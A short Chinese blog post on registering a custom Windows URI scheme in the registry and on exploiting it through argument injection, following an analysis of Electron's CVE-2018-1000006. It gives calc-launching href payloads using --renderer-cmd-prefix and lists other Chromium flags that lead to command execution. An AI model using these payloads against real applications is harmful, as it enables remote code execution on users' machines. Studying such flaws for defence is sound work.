1. 程式人生 > >URI Scheme註冊偽協議實現遠端命令執行

URI Scheme註冊偽協議實現遠端命令執行

Windows配置登錄檔註冊偽協議



1、新建偽協議項


WIN+R 輸入regedit 開啟登錄檔,在登錄檔HKEY_CLASSES_ROOT鍵中新建一個項,項的名字就是你偽協議的名字,例如我註冊一個cmd協議。

然後不用管預設字串值,新建一個叫URL Procotol的字串值,值為空即可。

2、新建shell項


在cmd協議項中新建一個項 , 叫做shell,這個名稱不能改。預設字串值為空

3、新建open項


在shell項中新建一個項 , 叫做open,這個名稱不能改。預設字串值為空

4、新建command項


在open項中新建一個項 , 叫做command,這個名稱不能改。預設字串值為可執行檔案路徑和引數等


遠端命令執行漏洞



根據這個地方的引數引號閉合情況去構造payload,類似SQL注入

  • 是%1 則payload:href='cmd://123 --renderer-cmd-prefix="cmd.exe /c start calc.exe" '
  • 要是“%1”則payload:href='cmd://123" --renderer-cmd-prefix="cmd.exe /c start calc.exe '
    效果(備註這裡需要使用IE核心測試):

其他引起RCE的引數如下:



  • --renderer-cmd-prefix
  • --gpu-launcher
  • --utility-cmd-prefix
  • --ppapi-plugin-launcher
  • --nacl-gdb
  • --ppapi-flash-path
  • --ppapi-flash-args

參考文獻:



Electron 自定義協議命令注入(CVE-2018-1000006)分析和 Url Scheme 安全考古